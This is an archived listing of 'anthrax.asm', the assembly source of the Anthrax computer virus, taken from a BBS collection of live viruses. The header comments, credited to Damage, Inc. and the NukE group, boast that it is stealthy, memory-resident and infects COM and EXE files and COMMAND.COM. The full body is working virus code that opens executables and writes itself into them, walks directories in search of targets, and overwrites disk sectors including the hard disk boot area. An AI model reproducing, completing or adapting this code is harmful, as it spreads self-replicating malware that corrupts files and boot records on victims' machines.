home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / anthrax.asm < prev    next >
Assembly Source File  |  1992-09-02  |  11KB  |  450 lines

  1. ;**************************************************************************
  2. ;**                        ANTHRAX VIRUS                                 **
  3. ;**      Created: 2 Jan 90           Programmer: (c) Damage, Inc.        **
  4. ;** [NukE] Notes: Another Stealth Type of Virus! and this one is Detected**
  5. ;**               by Scan (McAfee & Assc.) And does copy itself to *.COM **
  6. ;**               *.EXE and the Command.Com and is Memory Resident!      **
  7. ;**                                                                      **
  8. ;** Sources brought to you by -> Rock Steady [NukE]s Head Programmer!    **
  9. ;**                                                                      **
  10. ;**************************************************************************
  11.  
  12. .286p
  13.  
  14. DATA_1E        EQU    46CH            ; (0000:046C=2DH)
  15. DATA_2E        EQU    4            ; (65AC:0004=0)
  16. DATA_3E        EQU    7            ; (65AC:0007=0)
  17. DATA_10E    EQU    5FEH            ; (65AC:05FE=0)
  18.  
  19. SEG_A        SEGMENT    BYTE PUBLIC
  20.         ASSUME    CS:SEG_A, DS:SEG_A
  21.  
  22.  
  23.         ORG    100h
  24.  
  25. ANTHRAX        PROC    FAR
  26.  
  27. START:
  28.         JMP    LOC_24            ; (043B)
  29.         DB    13 DUP (0)
  30.         DB    95H, 8CH, 0C8H, 2DH, 0, 0
  31.         DB    0BAH, 0, 0, 50H, 52H, 1EH
  32.         DB    33H, 0C9H, 8EH, 0D9H, 0BEH, 4CH
  33.         DB    0, 0B8H, 0CDH, 0, 8CH, 0CAH
  34.         DB    87H, 44H, 44H, 87H, 54H, 46H
  35.         DB    52H, 50H, 0C4H, 1CH, 0B4H, 13H
  36.         DB    0CDH, 2FH, 6, 53H, 0B4H, 13H
  37.         DB    0CDH, 2FH, 58H, 5AH, 87H, 4
  38.         DB    87H, 54H, 2, 52H, 50H, 51H
  39.         DB    56H, 0A0H, 3FH, 4, 0A8H, 0FH
  40.         DB    75H, 6CH, 0EH, 7, 0BAH, 80H
  41.         DB    0, 0B1H, 3, 0BBH, 77H, 6
  42.         DB    0B8H, 1, 2, 50H, 0CDH, 13H
  43.         DB    58H, 0B1H, 1, 0BBH, 0, 4
  44.         DB    0CDH, 13H, 0EH, 1FH, 0BEH, 9BH
  45.         DB    3, 8BH, 0FBH, 0B9H, 5EH, 0
  46.         DB    56H, 0F3H, 0A6H, 5EH, 8BH, 0FBH
  47.         DB    0B9H, 62H, 0, 56H, 0F3H, 0A4H
  48.         DB    5FH, 0BEH, 12H, 8, 0B9H, 65H
  49.         DB    0, 0F3H, 0A4H, 74H, 1EH, 89H
  50.         DB    4DH, 0E9H, 0B1H, 5CH, 89H, 4DH
  51.         DB    9BH, 88H, 6DH, 0DCH, 0B1H, 2
  52.         DB    33H, 0DBH, 0B8H, 2, 3, 0CDH
  53.         DB    13H, 49H, 0BBH, 0, 4, 0B8H
  54.         DB    1, 3, 0CDH, 13H, 49H, 0B4H
  55.         DB    19H, 0CDH, 21H, 50H, 0B2H, 2
  56.         DB    0B4H, 0EH, 0CDH, 21H, 0B7H, 2
  57.         DB    0E8H, 87H, 1, 5AH, 0B4H, 0EH
  58.         DB    0CDH, 21H, 5EH, 1FH, 8FH, 4
  59.         DB    8FH, 44H, 2, 8FH, 44H, 44H
  60.         DB    8FH, 44H, 46H, 1FH, 1EH, 7
  61.         DB    95H, 0CBH
  62. copyright    DB    '(c) Damage, Inc.'
  63.         DB    0, 0B0H, 3, 0CFH, 6, 1EH
  64.         DB    57H, 56H, 50H, 33H, 0C0H, 8EH
  65.         DB    0D8H, 0BEH, 86H, 0, 0EH, 7
  66.         DB    0BFH, 8, 6, 0FDH, 0ADH, 0ABH
  67.         DB    0A5H, 0AFH, 87H, 0F7H, 0ADH, 0FCH
  68.         DB    74H, 11H, 1EH, 7, 0AFH, 0B8H
  69.         DB    7, 1, 0ABH, 8CH, 0C8H, 0ABH
  70.         DB    8EH, 0D8H, 0BFH, 68H, 0, 0A5H
  71.         DB    0A5H, 58H, 5EH, 5FH, 1FH, 7
  72.         DB    2EH, 0FFH, 2EH, 0, 6, 6
  73.         DB    1EH, 57H, 56H, 52H, 51H, 53H
  74.         DB    50H, 0EH, 1FH, 0BEH, 6, 6
  75.         DB    33H, 0C9H, 8EH, 0C1H, 0BFH, 84H
  76.         DB    0, 0A5H, 0A5H, 0B4H, 52H, 0CDH
  77.         DB    21H, 26H, 8BH, 47H, 0FEH, 8EH
  78.         DB    0D8H, 0BBH, 3, 0, 3, 7
  79.         DB    40H, 8EH, 0D8H, 81H, 7, 80H
  80.         DB    0, 0EH, 7, 0B7H, 12H, 0E8H
  81.         DB    0F2H, 0, 58H, 5BH, 59H, 5AH
  82.         DB    5EH, 5FH, 1FH, 7, 2EH, 0FFH
  83.         DB    2EH, 6, 6
  84.   
  85. LOC_RET_1:
  86.         RETN
  87.         DB    91H, 0AEH, 0B4H, 0A8H, 0BFH
  88.         DB    20H, 31H, 39H, 39H, 30H
  89.   
  90. ANTHRAX        ENDP
  91.   
  92. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  93. ;                   SUBROUTINE
  94. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  95.   
  96. SUB_1        PROC    NEAR
  97.         MOV    AX,3D00H
  98.         INT    21H            ; DOS Services  ah=function 3Dh
  99.                         ;  open file, al=mode,name@ds:dx
  100.         JC    LOC_RET_1        ; Jump if carry Set
  101.         XCHG    AX,BX
  102.         MOV    AX,1220H
  103.         INT    2FH            ; Multiplex/Spooler al=func 20h
  104.         PUSH    BX
  105.         MOV    BL,ES:[DI]
  106.         MOV    AX,1216H
  107.         INT    2FH            ; Multiplex/Spooler al=func 16h
  108.         POP    BX
  109.         MOV    SI,462H
  110.         MOV    DX,SI
  111.         MOV    CL,18H
  112.         MOV    AH,3FH            ; '?'
  113.         INT    21H            ; DOS Services  ah=function 3Fh
  114.                         ;  read file, cx=bytes, to ds:dx
  115.         XOR    AX,CX
  116.         JNZ    LOC_7            ; Jump if not zero
  117.         PUSH    ES
  118.         POP    DS
  119.         MOV    BYTE PTR [DI+2],2
  120.         XOR    DX,DX            ; Zero register
  121. LOC_2:
  122.         IN    AL,DX            ; port 0, DMA-1 bas&add ch 0
  123.         CMP    AL,10H
  124.         JB    LOC_2            ; Jump if below
  125.         ADD    AX,[DI+11H]
  126.         ADC    DX,[DI+13H]
  127.         AND    AL,0F0H
  128.         CMP    AX,0FB00H
  129.         JAE    LOC_7            ; Jump if above or =
  130.         MOV    [DI+15H],AX
  131.         MOV    [DI+17H],DX
  132.         PUSH    CS
  133.         POP    DS
  134.         PUSH    AX
  135.         MOV    CL,10H
  136.         DIV    CX            ; ax,dx rem=dx:ax/reg
  137.         SUB    AX,[SI+8]
  138.         MOV    CX,AX
  139.         SUB    AX,[SI+16H]
  140.         MOV    DS:DATA_2E,AX        ; (65AC:0004=0)
  141.         LODSW                ; String [si] to ax
  142.         XOR    AX,5A4DH
  143.         JZ    LOC_3            ; Jump if zero
  144.         XOR    AX,1717H
  145. LOC_3:
  146.         PUSHF                ; Push flags
  147.         JNZ    LOC_4            ; Jump if not zero
  148.         MOV    [SI],AX
  149.         CMP    AX,[SI+0AH]
  150.         XCHG    AX,[SI+12H]
  151.         MOV    DS:DATA_3E,AX        ; (65AC:0007=0)
  152.         MOV    [SI+14H],CX
  153.         MOV    CX,4DCH
  154.         JZ    LOC_5            ; Jump if zero
  155.         ADD    WORD PTR [SI+8],48H
  156. LOC_4:
  157.         MOV    CX,65H
  158. LOC_5:
  159.         PUSH    CX
  160.         MOV    CX,39BH
  161.         MOV    AH,40H            ; '@'
  162.         INT    21H            ; DOS Services  ah=function 40h
  163.                         ;  write file cx=bytes, to ds:dx
  164.         XOR    CX,AX
  165.         POP    CX
  166.         JNZ    LOC_6            ; Jump if not zero
  167.         MOV    DX,400H
  168.         MOV    AH,40H            ; '@'
  169.         INT    21H            ; DOS Services  ah=function 40h
  170.                         ;  write file cx=bytes, to ds:dx
  171.         XOR    CX,AX
  172. LOC_6:
  173.         POP    DX
  174.         POP    AX
  175. LOC_7:
  176.         JNZ    LOC_11            ; Jump if not zero
  177.         MOV    ES:[DI+15H],CX
  178.         MOV    ES:[DI+17H],CX
  179.         PUSH    DX
  180.         POPF                ; Pop flags
  181.         JNZ    LOC_9            ; Jump if not zero
  182.         MOV    AX,ES:[DI+11H]
  183.         MOV    DX,ES:[DI+13H]
  184.         MOV    CH,2
  185.         DIV    CX            ; ax,dx rem=dx:ax/reg
  186.         TEST    DX,DX
  187.         JZ    LOC_8            ; Jump if zero
  188.         INC    AX
  189. LOC_8:
  190.         MOV    [SI],DX
  191.         MOV    [SI+2],AX
  192.         JMP    SHORT LOC_10        ; (0328)
  193. LOC_9:
  194.         MOV    BYTE PTR [SI-2],0E9H
  195.         ADD    AX,328H
  196.         MOV    [SI-1],AX
  197. LOC_10:
  198.         MOV    CX,18H
  199.         LEA    DX,[SI-2]        ; Load effective addr
  200.         MOV    AH,40H            ; '@'
  201.         INT    21H            ; DOS Services  ah=function 40h
  202.                         ;  write file cx=bytes, to ds:dx
  203. LOC_11:
  204.         OR    BYTE PTR ES:[DI+6],40H    ; '@'
  205.         MOV    AH,3EH            ; '>'
  206. LOC_12:
  207.         INT    21H            ; DOS Services  ah=function 3Eh
  208.                         ;  close file, bx=file handle
  209.         RETN
  210. SUB_1        ENDP
  211.   
  212.   
  213. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  214. ;                   SUBROUTINE
  215. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  216.   
  217. SUB_2        PROC    NEAR
  218.         MOV    DS,CX
  219.         MOV    BL,DS:DATA_1E        ; (0000:046C=34H)
  220.         PUSH    CS
  221.         POP    DS
  222.         INC    DATA_7            ; (65AC:045E=0FC00H)
  223.         MOV    DX,64BH
  224.         CALL    SUB_3            ; (036D)
  225.         MOV    SI,60AH
  226.         MOV    BYTE PTR [SI],5CH    ; '\'
  227.         INC    SI
  228.         XOR    DL,DL            ; Zero register
  229.         MOV    AH,47H            ; 'G'
  230.         INT    21H            ; DOS Services  ah=function 47h
  231.                         ;  get present dir,drive dl,1=a:
  232.         MOV    DX,39BH
  233. LOC_13:
  234.         MOV    AH,3BH            ; ';'
  235.         INT    21H            ; DOS Services  ah=function 3Bh
  236.                         ;  set current dir, path @ ds:dx
  237.         JCXZ    LOC_14            ; Jump if cx=0
  238.         MOV    AH,51H            ; 'Q'
  239.         INT    21H            ; DOS Services  ah=function 51h
  240.                         ;  get active PSP segment in bx
  241.         MOV    DS,BX
  242.         MOV    DX,80H
  243.   
  244. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  245.   
  246. SUB_3:
  247.         MOV    AH,1AH
  248.         JMP    SHORT LOC_12        ; (0339)
  249. LOC_14:
  250.         JC    LOC_17            ; Jump if carry Set
  251.         MOV    SI,39CH
  252.         XOR    DL,DL            ; Zero register
  253.         MOV    AH,47H            ; 'G'
  254.         INT    21H            ; DOS Services  ah=function 47h
  255.                         ;  get present dir,drive dl,1=a:
  256.         CMP    CH,BYTE PTR DS:[3DCH]    ; (65AC:03DC=81H)
  257. LOC_15:
  258.         MOV    CL,32H            ; '2'
  259.         MOV    DX,29DH
  260.         MOV    AH,4EH            ; 'N'
  261.         JZ    LOC_20            ; Jump if zero
  262.         INT    21H            ; DOS Services  ah=function 4Eh
  263.                         ;  find 1st filenam match @ds:dx
  264.         JC    LOC_17            ; Jump if carry Set
  265. LOC_16:
  266.         MOV    DX,64BH
  267.         MOV    AX,4F01H
  268.         MOV    SI,3DCH
  269.         MOV    DI,668H
  270.         STOSB                ; Store al to es:[di]
  271.         MOV    CL,0DH
  272.         REPE    CMPSB            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  273.         JZ    LOC_20            ; Jump if zero
  274.         CMP    CH,[DI-2]
  275.         JE    LOC_20            ; Jump if equal
  276.         INT    21H            ; DOS Services  ah=function 4Fh
  277.                         ;  find next filename match
  278.         JNC    LOC_16            ; Jump if carry=0
  279.         XOR    AL,AL            ; Zero register
  280.         JMP    SHORT LOC_15        ; (0380)
  281.         DB    2AH, 2EH, 2AH, 0
  282. LOC_17:
  283.         MOV    CL,41H            ; 'A'
  284.         MOV    DI,39CH
  285.         CMP    CH,[DI]
  286.         MOV    AL,CH
  287.         MOV    BYTE PTR DS:[3DCH],AL    ; (65AC:03DC=81H)
  288.         JZ    LOC_23            ; Jump if zero
  289.         REPNE    SCASB            ; Rep zf=0+cx >0 Scan es:[di] for al
  290.         DEC    DI
  291.         MOV    CL,41H            ; 'A'
  292.         MOV    AL,5CH            ; '\'
  293.         STD                ; Set direction flag
  294.         REPNE    SCASB            ; Rep zf=0+cx >0 Scan es:[di] for al
  295.         LEA    SI,[DI+2]        ; Load effective addr
  296.         MOV    DI,3DCH
  297.         CLD                ; Clear direction
  298. LOC_18:
  299.         LODSB                ; String [si] to al
  300.         TEST    AL,AL
  301.         STOSB                ; Store al to es:[di]
  302.         JNZ    LOC_18            ; Jump if not zero
  303.         MOV    DX,2CDH
  304.         XOR    CL,CL            ; Zero register
  305.         JMP    SHORT LOC_13        ; (035E)
  306.         DB    2EH, 2EH, 0
  307. LOC_19:
  308.         MOV    DX,64BH
  309.         MOV    AH,4FH            ; 'O'
  310. LOC_20:
  311.         INT    21H            ; DOS Services  ah=function 4Fh
  312.                         ;  find next filename match
  313.         JC    LOC_17            ; Jump if carry Set
  314. DATA_6        DW    69BEH
  315.         DB    6, 0BFH, 0DCH, 3, 80H, 3CH
  316.         DB    2EH, 74H, 0ECH, 88H, 2DH, 8BH
  317.         DB    0D6H, 0F6H, 44H, 0F7H, 10H, 75H
  318.         DB    0DBH
  319. LOC_21:
  320.         LODSB                ; String [si] to al
  321.         TEST    AL,AL
  322.         STOSB                ; Store al to es:[di]
  323.         JNZ    LOC_21            ; Jump if not zero
  324.         DEC    SI
  325.         STD                ; Set direction flag
  326.         LODSW                ; String [si] to ax
  327.         LODSW                ; String [si] to ax
  328.         CLD                ; Clear direction
  329.         CMP    AX,4558H
  330.         JE    LOC_22            ; Jump if equal
  331.         CMP    AX,4D4FH
  332.         JNE    LOC_19            ; Jump if not equal
  333. LOC_22:
  334.         PUSH    BX
  335.         CALL    SUB_1            ; (0262)
  336.         POP    BX
  337.         XOR    CX,CX            ; Zero register
  338.         MOV    ES,CX
  339.         MOV    AL,ES:DATA_1E        ; (0000:046C=38H)
  340.         PUSH    CS
  341.         POP    ES
  342.         SUB    AL,BL
  343.         CMP    AL,BH
  344.         JB    LOC_19            ; Jump if below
  345. LOC_23:
  346.         MOV    DX,80H
  347.         MOV    CL,3
  348.         MOV    BX,200H
  349.         MOV    AX,301H
  350.         INT    13H            ; Disk  dl=drive 0: ah=func 03h
  351.                         ;  write sectors from mem es:bx
  352.         MOV    DX,60AH
  353.         JMP    LOC_13            ; (035E)
  354. SUB_2        ENDP
  355.   
  356. LOC_24:
  357.         XCHG    AX,BP
  358.         MOV    DI,100H
  359.         MOV    BX,[DI+1]
  360.         SUB    BX,228H
  361.         MOV    AX,DI
  362.         LEA    SI,[BX+3FDH]        ; Load effective addr
  363.         MOVSW                ; Mov [si] to es:[di]
  364.         MOVSB                ; Mov [si] to es:[di]
  365.         XCHG    AX,BX
  366.         MOV    CL,4
  367.         SHR    AX,CL            ; Shift w/zeros fill
  368.         MOV    CX,DS
  369.         ADD    AX,CX
  370.         MOV    DX,0BH
  371.         JMP    SHORT LOC_26        ; (04CD)
  372.         DB    0B8H, 0D0H
  373. DATA_7        DW    0FC00H
  374. DATA_8        DW    8587H
  375.         DB    68H, 0FAH, 0ABH, 8CH, 0C8H, 0E2H
  376.         DB    0F7H, 0A3H, 86H, 0, 0ABH, 8EH
  377.         DB    0D8H, 0B4H, 8, 0CDH, 13H, 49H
  378.         DB    49H, 0A1H, 0E9H, 3, 84H, 0E4H
  379.         DB    74H, 1, 91H, 0B2H, 80H, 0B8H
  380.         DB    3, 3, 0CDH, 13H, 91H, 84H
  381.         DB    0E4H, 75H, 2
  382.         DB    2CH, 40H
  383. LOC_25:
  384.         DEC    AH
  385.         MOV    DATA_6,AX        ; (65AC:03E9=69BEH)
  386.         INC    DATA_8            ; (65AC:0460=8587H)
  387.         XOR    DH,DH            ; Zero register
  388.         MOV    CX,1
  389.         MOV    BX,400H
  390.         MOV    AX,301H
  391.         INT    13H            ; Disk  dl=drive ?: ah=func 03h
  392.                         ;  write sectors from mem es:bx
  393.         MOV    DL,DH
  394.         RETF                ; Return far
  395.         DB    41H, 4EH, 54H, 48H, 52H, 41H
  396.         DB    58H, 0EH, 1FH, 83H, 2EH, 13H
  397.         DB    4, 2, 0CDH, 12H, 0B1H, 6
  398.         DB    0D3H, 0E0H, 8EH, 0C0H, 0BFH, 0
  399.         DB    4, 0BEH, 0, 7CH, 0B9H, 0
  400.         DB    1, 8BH, 0DEH, 0FCH, 0F3H, 0A5H
  401.         DB    8EH, 0D8H, 0BAH, 27H, 4
  402. LOC_26:
  403.         PUSH    CX
  404.         PUSH    BX
  405.         PUSH    AX
  406.         PUSH    DX
  407.         RETF                ; Return far
  408.         DB    8EH, 0C1H, 0B1H, 4, 0BEH, 0B0H
  409.         DB    5
  410.   
  411. LOCLOOP_27:
  412.         ADD    SI,0EH
  413.         LODSW                ; String [si] to ax
  414.         CMP    AL,80H
  415.         JE    LOC_29            ; Jump if equal
  416.         LOOP    LOCLOOP_27        ; Loop if cx > 0
  417.  
  418. LOC_28:
  419.         INT    18H            ; ROM basic
  420. LOC_29:
  421.         XCHG    AX,DX
  422.         STD                ; Set direction flag
  423.         LODSW                ; String [si] to ax
  424.         XCHG    AX,CX
  425.         MOV    AX,201H
  426.         INT    13H            ; Disk  dl=drive a: ah=func 02h
  427.                         ;  read sectors to memory es:bx
  428.         CMP    WORD PTR DS:DATA_10E,0AA55H    ; (65AC:05FE=0)
  429.         JNE    LOC_28            ; Jump if not equal
  430.         PUSH    ES
  431.         PUSH    DS
  432.         POP    ES
  433.         POP    DS
  434.         XOR    DH,DH            ; Zero register
  435.         MOV    CX,2
  436.         XOR    BX,BX            ; Zero register
  437.         MOV    AX,202H
  438.         INT    13H            ; Disk  dl=drive a: ah=func 02h
  439.                         ;  read sectors to memory es:bx
  440.         JMP    $-10FH
  441.         DB    0, 0, 0, 0, 0CDH, 20H
  442.         DB    0CCH
  443.         DB    112 DUP (1AH)
  444.   
  445. SEG_A        ENDS
  446.   
  447.   
  448.   
  449.         END    START
  450.